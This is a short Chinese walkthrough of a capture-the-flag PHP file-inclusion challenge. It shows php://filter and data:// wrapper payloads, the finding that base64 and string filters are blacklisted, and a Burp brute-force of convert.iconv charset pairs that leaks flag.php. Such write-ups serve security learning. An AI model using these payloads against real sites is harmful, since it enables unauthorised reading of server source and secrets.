进入靶场
直接显示源代码
提示我们通过get方式传递名为filename的参数,同时给出了文件名check.php
filename=check.php
显示使用了正确的用法,错误的方法
filename=./check.php
还是一样的回显
傻了,题目名称是文件包含,需要用到函数
文件包含漏洞-CSDN博客
先试试最常用到的这个
php://filter/read=convert.base64-encode/resource=flag.php
被过滤了
换一个伪协议
data://text/plain,123456
话是这么说,但没显示123456说明data协议不行
间接提示了php伪协议换个过滤器说不定可以
php://filter/read=convert.base64-encode/resource=flag.php
之前用的是上面这个,一个个尝试看看被过滤的是哪些
read和base编码被禁了
不使用read的话还有string开头的过滤器
string也被过滤了
试试下面这个
php://filter/convert.iconv.utf-8/gbk/resource=flag.php
作用是将文本从 UTF - 8 编码转换为 GBK 编码
这个编码转换不行,但有很多编码供我们尝试
使用bp去爆破
字典如下
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
发现有两种组合都能得到flag